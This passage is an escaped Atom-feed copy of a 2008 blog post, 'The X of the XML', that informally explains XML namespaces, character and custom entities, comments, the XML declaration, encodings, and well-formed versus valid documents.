style="font-family:Verdana,sans-serif;"&gt;Not necessary to prefix each element name. Instead you can define a default&lt;/span&gt; &lt;span style="font-family:Verdana,sans-serif;"&gt;Namespace that applies to all non-prefixed elements and attributes. &lt;/span&gt; &lt;span style="font-family:Verdana,sans-serif;"&gt;The syntax for defining a default namespace is &lt;/span&gt;&lt;code&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;xmlns=”namespace”&lt;/span&gt;&lt;/code&gt; &lt;span style="font-family:Verdana,sans-serif;"&gt;(no prefix).&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;i.e.&lt;br /&gt;&amp;lt;Envelope xmlns="http://www.w3.org/2001/12/soap-envelope"&amp;gt;&lt;br /&gt;&amp;lt;Header&amp;gt;...&amp;lt;/Header&amp;gt;&lt;br /&gt;&amp;lt;...&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;Thank goodness, we managed to make our XML Look neat &amp;amp; clean..&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;Also Note that the default namespace applies to the element on which it was defined and all its descendants. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;Plus: If one of the descendants has another default namespace defined on it, this new namespace definition overrides the previous one and becomes the default for that element and all its descendants.&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;From the XML Spec:&lt;/span&gt;&lt;br /&gt;The Namespaces in XML Recommendation &lt;span style="color:#000080;"&gt;&lt;span style="text-decoration:underline;"&gt;&lt;a id="wq1g437" href="http://www.w3.org/TR/REC-xml/#xml-names"&gt;[XML Names]&lt;/a&gt;&lt;/span&gt;&lt;/span&gt; assigns a meaning to names containing colon characters. &lt;br /&gt;Therefore, authors should not use the colon in XML names except for namespace purposes, &lt;br /&gt;but XML processors must accept the colon as a name character. Another cryptic definition in the world of standards!&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;But my best cryptic definition is the section defined here:&lt;/span&gt; &lt;span style="color:#000080;"&gt;&lt;span style="text-decoration:underline;"&gt;&lt;a id="wq1g441" href="http://www.w3.org/TR/REC-xml/#AVNormalize"&gt;http://www.w3.org/TR/REC-xml/#AVNormalize&lt;/a&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="font-family:Verdana,sans-serif;"&gt;It took two people to decipher what’s written to implement it in Sonoa xml parser.&lt;/span&gt;&lt;br /&gt;&lt;h2&gt;&lt;/h2&gt;&lt;br /&gt;&lt;h2&gt;Character references and Numerical references&lt;/h2&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;What happens when your data contains entities like &amp;lt; and &amp;gt; and " and '?&lt;/span&gt; &lt;span style="font-family:Verdana,sans-serif;"&gt;Hmm.. maybe people should not even write &amp;lt; and &amp;gt; in their data!&lt;/span&gt; &lt;span style="font-family:Verdana,sans-serif;"&gt;They should substitute it with:&lt;/span&gt;&lt;a id="wq1g449" name="bozt2"&gt;&lt;/a&gt;&lt;a id="wq1g450" name="bozt1"&gt;&lt;/a&gt;&lt;a id="wq1g451" name="bozt0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;They should substitute it with: &lt;/span&gt;&lt;br /&gt;&lt;div id="Section17" dir="ltr"&gt;&lt;br /&gt;&lt;table id="wq1g452" class="zeroBorder" border="0" cellspacing="0" cellpadding="2" width="212"&gt;&lt;/table&gt;&lt;br /&gt;&lt;table id="wq1g452" class="zeroBorder" style="height:123px;" border="0" cellspacing="0" cellpadding="2" width="306"&gt;&lt;br /&gt;&lt;tbody&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td width="59"&gt;&lt;br /&gt;&lt;p class="western"&gt;&lt;code&gt;&amp;amp;amp;&lt;/code&gt;&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td width="21"&gt;&lt;br /&gt;&lt;p class="western"&gt;&amp;amp;&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td width="120"&gt;&lt;br /&gt;&lt;p class="western"&gt;ampersand&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td width="59"&gt;&lt;br /&gt;&lt;p class="western"&gt;&lt;code&gt;&amp;amp;lt;&lt;/code&gt;&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td width="21"&gt;&lt;br /&gt;&lt;p class="western"&gt;&amp;lt;&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td width="120"&gt;&lt;br /&gt;&lt;p class="western"&gt;less than&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td width="59"&gt;&lt;br /&gt;&lt;p class="western"&gt;&lt;code&gt;&amp;amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td width="21"&gt;&lt;br /&gt;&lt;p class="western"&gt;&amp;gt;&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td width="120"&gt;&lt;br /&gt;&lt;p class="western"&gt;greater than&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td width="59"&gt;&lt;br /&gt;&lt;p class="western"&gt;&lt;code&gt;&amp;amp;apos;&lt;/code&gt;&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td width="21"&gt;&lt;br /&gt;&lt;p class="western"&gt;'&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td width="120"&gt;&lt;br /&gt;&lt;p class="western"&gt;apostrophe&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td width="59"&gt;&lt;br /&gt;&lt;p class="western"&gt;&lt;code&gt;&amp;amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td width="21"&gt;&lt;br /&gt;&lt;p class="western"&gt;"&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td width="120"&gt;&lt;br /&gt;&lt;p class="western"&gt;quotation mark&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div id="Section18" dir="ltr"&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;For example &lt;br /&gt;&amp;lt;?xml version="1.0"&amp;gt;&lt;br /&gt; &amp;lt;Equation&amp;gt;  A &amp;amp;gt; B &amp;lt;/Equation&amp;gt;&lt;br /&gt;&lt;br /&gt;Is Actually is A &amp;gt; B&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div id="Section19" dir="ltr"&gt;&lt;br /&gt;&lt;br /&gt;Now to represent Characters in there Numerical form, XML provides as Way.&lt;br /&gt;&lt;br /&gt;- Open character map in Windows and check out the numeric value of the symbol&lt;br /&gt;&lt;br /&gt;- Now write it down as &amp;amp;# NUM or &amp;amp;# x  HexNumber.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;Those were the predefined entities. The XML Guys didn't stop there..&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;They found a way to define Custom Entities. Didn't I tell you that people have a nag to complicate things?&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&amp;lt;?xml version="1.0" 	encoding="UTF-8"?&amp;gt;&lt;br /&gt;&lt;/span&gt;&amp;lt;!DOCTYPE 	example [&lt;/span&gt;&lt;br /&gt;       &amp;lt;!ENTITY copy "©"&amp;gt;&lt;br /&gt;&lt;a id="wq1g561" name="n3v612"&gt;&lt;/a&gt;&lt;a id="wq1g562" name="n3v614"&gt;&lt;/a&gt;&lt;a id="wq1g563" name="n3v613"&gt;&lt;/a&gt;&lt;a id="wq1g564" name="n3v615"&gt;&lt;/a&gt;&amp;lt;!ENTITY copyright-notice "Copyright &amp;amp;copy; 2006, XYZ Enterprises"&amp;gt;&lt;a id="wq1g566" name="n3v617"&gt;&lt;/a&gt;]&amp;gt;&lt;a id="wq1g567" name="n3v620"&gt;&lt;/a&gt;&lt;a id="wq1g568" name="n3v619"&gt;&lt;/a&gt;&lt;a id="wq1g569" name="n3v618"&gt;&lt;/a&gt;&lt;a id="wq1g570" name="n3v621"&gt;&lt;/a&gt;&lt;br /&gt;&amp;lt;example&amp;gt; &amp;amp;copyright-notice; &amp;lt;/example&amp;gt;&lt;br /&gt;&lt;br /&gt;When viewed in a suitable browser, the XML document above appears as:&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div id="Section22" dir="ltr"&gt;&lt;br /&gt;&lt;pre&gt;&lt;a id="wq1g579" name="n3v630"&gt;&lt;/a&gt;&amp;lt;example&amp;gt; Copyright © 2006, XYZ Enterprises &amp;lt;/example&amp;gt;&lt;a id="wq1g580" name="ffpu"&gt;&lt;/a&gt;&lt;a id="wq1g581" name="t9ja0"&gt;&lt;/a&gt;&lt;a id="wq1g582" name="t9ja"&gt;&lt;/a&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;What the example shows is that Entity references can be recursive.&lt;/span&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt; &lt;/span&gt; &lt;span style="font-family:Verdana,sans-serif;"&gt;We first Defined an entity copy&lt;/span&gt; &lt;span style="font-family:Verdana,sans-serif;"&gt;And then we defined copyright-notice containing ©&lt;/span&gt; &lt;span style="font-family:Verdana,sans-serif;"&gt;And then finally used &amp;amp;copyright-notice; in the data.&lt;/span&gt; &lt;a id="wq1g593" name="agu-"&gt;&lt;/a&gt;&lt;a id="wq1g594" name="e6p62"&gt;&lt;/a&gt;&lt;a id="wq1g595" name="e6p61"&gt;&lt;/a&gt;&lt;a id="wq1g596" name="e6p60"&gt;&lt;/a&gt;&lt;br /&gt;&lt;h2&gt;Comments&lt;/h2&gt;&lt;br /&gt;&lt;p class="western" style="margin-bottom:0.2in;"&gt;&lt;a id="wq1g600" name="n3x50"&gt;&lt;/a&gt;&lt;a id="wq1g601" name="n3x5"&gt;&lt;/a&gt;&lt;a id="wq1g602" name="n3v631"&gt;&lt;/a&gt;&lt;a id="wq1g603" name="n3x51"&gt;&lt;/a&gt;&lt;a id="wq1g604" name="n3x52"&gt;&lt;/a&gt; &amp;lt;!-- This is a comment. --&amp;gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="western" style="margin-bottom:0.2in;"&gt;&amp;lt;!-- And this is a&lt;/p&gt;&lt;br /&gt;&lt;p class="western" style="margin-bottom:0.2in;"&gt;Multiline comment ... --&amp;gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="western" style="margin-bottom:0.2in;"&gt;I find them generally inconvenient to close the comment especially when its on a single Line. C and C++ supported both single line and multiLine comments since Ages. Visual Basic had single Line comments starting with a qoute ' Dim LightOut.&lt;/p&gt;&lt;br /&gt;&lt;p class="western" style="margin-bottom:0.2in;"&gt;Everyone is aware of how useful single Line comments are while editing source files. XML should have provided single Line comments but then didn't.&lt;/p&gt;&lt;br /&gt;&lt;p class="western" style="margin-bottom:0.2in;"&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Displaying XML on the web&lt;/h2&gt;&lt;br /&gt;&lt;p class="western" style="margin-bottom:0.2in;"&gt;XML documents do not carry information about how to display the 	data. Without using &lt;span style="color:#000080;"&gt;&lt;span style="text-decoration:underline;"&gt;&lt;a id="wq1g618" href="http://en.wikipedia.org/wiki/Cascading_Style_Sheets"&gt;CSS&lt;/a&gt;&lt;/span&gt;&lt;/span&gt; or &lt;span style="color:#000080;"&gt;&lt;span style="text-decoration:underline;"&gt;&lt;a id="wq1g621" href="http://en.wikipedia.org/wiki/Extensible_Stylesheet_Language"&gt;XSL&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;, 	a generic XML document is rendered as raw XML text by most web 	browsers. Some display it with 'handles' (e.g. + and - signs in the 	margin) that allow parts of the structure to be expanded or 	collapsed with mouse-clicks.&lt;/p&gt;&lt;br /&gt;&lt;p class="western" style="margin-bottom:0.2in;"&gt;In order to style the rendering in a browser with CSS, the XML 	document must include a reference to the &lt;span style="color:#000080;"&gt;&lt;span style="text-decoration:underline;"&gt;&lt;a id="wq1g628" href="http://en.wikipedia.org/wiki/Stylesheet"&gt;stylesheet&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div id="Section23" dir="ltr"&gt;&lt;br /&gt;&lt;br /&gt;&lt;a id="wq1g631" name="rio512"&gt;&lt;/a&gt;&amp;lt;?xml-stylesheet type="text/css" href="myStyleSheet.css"?&amp;gt;&lt;br /&gt;&lt;h2&gt;&lt;a id="wq1g640" name="1.6.XML Declaration |outline"&gt;&lt;/a&gt;XML Declaration&lt;/h2&gt;&lt;br /&gt;&lt;a id="wq1g642" name="rio5102"&gt;&lt;/a&gt;As you might have guessed, xml declaration is not mandatory. But it helps in declaring the &lt;a id="wq1g643" name="m5t6"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;* version whether is XML 1.0 or XML 1.1 &lt;a id="wq1g644" name="m5t60"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;* encoding-style of the document. &lt;a id="wq1g645" name="x.-o"&gt;&lt;/a&gt;&lt;a id="wq1g646" name="or9g"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Does the document contain normal &lt;span style="color:#000080;"&gt;&lt;span style="text-decoration:underline;"&gt;&lt;a id="wq1g649" href="http://en.wikipedia.org/wiki/ASCII"&gt;Ascii&lt;/a&gt;&lt;/span&gt;&lt;/span&gt; characters OR Unicode characters? &lt;a id="wq1g650" name="h.my"&gt;&lt;/a&gt;&lt;a id="wq1g651" name="81"&gt;&lt;/a&gt;&lt;a id="wq1g652" name="la3j"&gt;&lt;/a&gt;&lt;a id="wq1g653" name="zc5p"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And if Unicode characters then in which encoding ( &lt;span style="color:#000080;"&gt;&lt;span style="text-decoration:underline;"&gt;&lt;a id="wq1g656" href="http://en.wikipedia.org/wiki/UTF-8"&gt;UTF-8&lt;/a&gt;&lt;/span&gt;&lt;/span&gt; or &lt;span style="color:#000080;"&gt;&lt;span style="text-decoration:underline;"&gt;&lt;a id="wq1g659" href="http://en.wikipedia.org/wiki/UTF-16"&gt;UTF-16&lt;/a&gt;&lt;/span&gt;&lt;/span&gt; or &lt;span style="color:#000080;"&gt;&lt;span style="text-decoration:underline;"&gt;&lt;a id="wq1g662" href="http://en.wikipedia.org/wiki/UTF-32"&gt;UTF-32&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;)?&lt;br /&gt;&lt;br /&gt;* standalone= "yes or no"&lt;br /&gt;&lt;br /&gt;Meaning if the xml document was standalone or it contain references to other xml documents. The references are made to externally defined DTD.&lt;span style="font-family:Courier New,monospace;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New,monospace;"&gt;For 	example: &lt;/span&gt;&lt;br /&gt;&lt;p class="western"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&amp;lt;?xml 	version="1.0" encoding="UTF-8" standalone="no"?&amp;gt; with&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;p class="western"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&amp;lt;!DOCTYPE 	s1 PUBLIC "http://www.ibm.com/example.dtd" "example.dtd"&amp;gt; &lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="western"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&amp;lt;root/&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;Now what is DTD? Well we will come to it at a later point.&lt;a id="wq1g681" name="nfiu"&gt;&lt;/a&gt;&lt;a id="wq1g682" name="h.my1"&gt;&lt;/a&gt;&lt;a id="wq1g683" name="h.my0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;h2&gt;&lt;a id="wq1g685" name="1.7.Encoding-type|outline"&gt;&lt;/a&gt;Encoding-type  &lt;a id="wq1g708" name="nfiu0"&gt;&lt;/a&gt;&lt;a id="wq1g709" name="o_j2"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;What is this encoding anyways? And why do we have so many types?&lt;/span&gt;&lt;br /&gt;&lt;ol&gt;&lt;br /&gt;	&lt;li&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ol&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;As I've already said it earlier, humans do what they do best: Complicate things.&lt;/span&gt; &lt;a id="wq1g713" name="gsev"&gt;&lt;/a&gt;&lt;a id="wq1g714" name="h.my2"&gt;&lt;/a&gt;&lt;a id="wq1g715" name="o_j20"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;Well encoding-type is one another discussion which I would like to do now.&lt;/span&gt; ASCII was Simple, Each character 7 bit long (A signed character) containing MAX 128 characters.&lt;a id="wq1g722" name="xzz7"&gt;&lt;/a&gt;&lt;a id="wq1g723" name="or9g1"&gt;&lt;/a&gt;Take a look at all the Ascii characters &lt;span style="color:#000080;"&gt;&lt;span style="text-decoration:underline;"&gt;&lt;a id="wq1g726" href="http://en.wikipedia.org/wiki/ASCII"&gt;here&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;h2&gt;&lt;/h2&gt;&lt;br /&gt;&lt;h2&gt;Well-formed and valid XML documents&lt;/h2&gt;&lt;br /&gt;&lt;p class="western" style="margin-bottom:0.2in;"&gt;There are two levels of correctness of an XML document: &amp;lt;Wikipedia&amp;gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;	&lt;li&gt;&lt;br /&gt;&lt;p class="western" style="margin-bottom:0.2in;"&gt;&lt;strong&gt;Well-formed&lt;/strong&gt;. A well-formed document conforms to all of XML's 		syntax rules. For example, if a start-tag appears without a 		corresponding end-tag, it is not &lt;em&gt;well-formed&lt;/em&gt;. A document 		that is not well-formed is not considered to be XML; a &lt;em&gt;conforming 		parser&lt;/em&gt; is not allowed to process it.&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;	&lt;li&gt;&lt;br /&gt;&lt;p class="western" style="margin-bottom:0.2in;"&gt;&lt;strong&gt;Valid&lt;/strong&gt;. A valid document additionally conforms to some 		semantic rules. These rules are either user-defined, or included as 		an &lt;span style="color:#000080;"&gt;&lt;span style="text-decoration:underline;"&gt;&lt;a id="wq1g764" href="http://en.wikipedia.org/wiki/XML_schema"&gt;XML 		schema&lt;/a&gt;&lt;/span&gt;&lt;/span&gt; or &lt;span style="color:#000080;"&gt;&lt;span style="text-decoration:underline;"&gt;&lt;a id="wq1g767" href="http://en.wikipedia.org/wiki/Document_Type_Definition"&gt;DTD&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;. 		For example, if a document contains an undefined element, then it 		is not &lt;em&gt;valid&lt;/em&gt;; a &lt;em&gt;validating parser&lt;/em&gt; is not allowed to 		process it.&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;Well formed'ness is easy to understand. If the parser accepts it, it’s well formed. For example:&lt;/span&gt; &lt;a id="wq1g776" name="rbhy"&gt;&lt;/a&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;&amp;lt;age&amp;gt; 29 &amp;lt;/age&amp;gt; is a well formed XML.&lt;/span&gt; &lt;a id="wq1g778" name="rbhy1"&gt;&lt;/a&gt;&lt;a id="wq1g779" name="rbhy0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;But what about validity? &lt;/span&gt; &lt;span style="font-family:Verdana,sans-serif;"&gt;Ask a Lady her age and she might reply in xml as:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;?xml version="1.0"?&amp;gt; &lt;span style="font-family:Verdana,sans-serif;"&gt;&amp;lt;age&amp;gt; Guess? &amp;lt;/age&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;This is a well formed XML but not a valid XML.&lt;/span&gt; &lt;span style="font-family:Verdana,sans-serif;"&gt;Since age in the above xml is not a numeric quantity.&lt;/span&gt; &lt;span style="font-family:Verdana,sans-serif;"&gt;Applications accepting XML data wanted to confirm(or validate) that the data is in the format they expect it to be.&lt;/span&gt; &lt;a id="wq1g802" name="ojc72"&gt;&lt;/a&gt;&lt;a id="wq1g803" name="mhh3"&gt;&lt;/a&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;i.e. &amp;lt;Age&amp;gt;.. text() could be validated to be an Integer and within a defined boundary.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;DTD was defined to write down rules to validate the tags, attributes and content types inside that XML.&lt;/span&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt; &lt;/span&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;But DTD was a language in itself and was found to be very cryptic and unpractical.&lt;/span&gt; &lt;a id="wq1g810" name="ffbo0"&gt;&lt;/a&gt;&lt;a id="wq1g811" name="ffbo"&gt;&lt;/a&gt; &lt;a id="wq1g812" name="n3x53"&gt;&lt;/a&gt;&lt;a id="wq1g813" name="rio520"&gt;&lt;/a&gt;&lt;a id="wq1g814" name="pv3020"&gt;&lt;/a&gt;&lt;a id="wq1g815" name="ffbo4"&gt;&lt;/a&gt;&lt;a id="wq1g816" name="ffbo3"&gt;&lt;/a&gt;&lt;a id="wq1g817" name="ffbo2"&gt;&lt;/a&gt;&lt;a id="wq1g818" name="ffbo1"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;Hence came the XML-Schema which made the XML world utterly complicated for a layman to understand.&lt;br /&gt;&lt;br /&gt;XML Schema will be dealt in another Post,&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;&lt;br /&gt;Hope you enjoyed reading this post, as much as I enjoyed writing it... &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;cu later,&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;h2 class="western"&gt;woods&lt;/h2&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;img style="border:1px solid blue;z-index:90;position:absolute;left:140px;top:3387px;" src="//dictionarytip/skin/book.png" alt="" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-8505895847798035066?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/8505895847798035066/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=8505895847798035066' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/8505895847798035066'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/8505895847798035066'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/06/x-of-xml.html' title='The X of the XML'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry></feed>
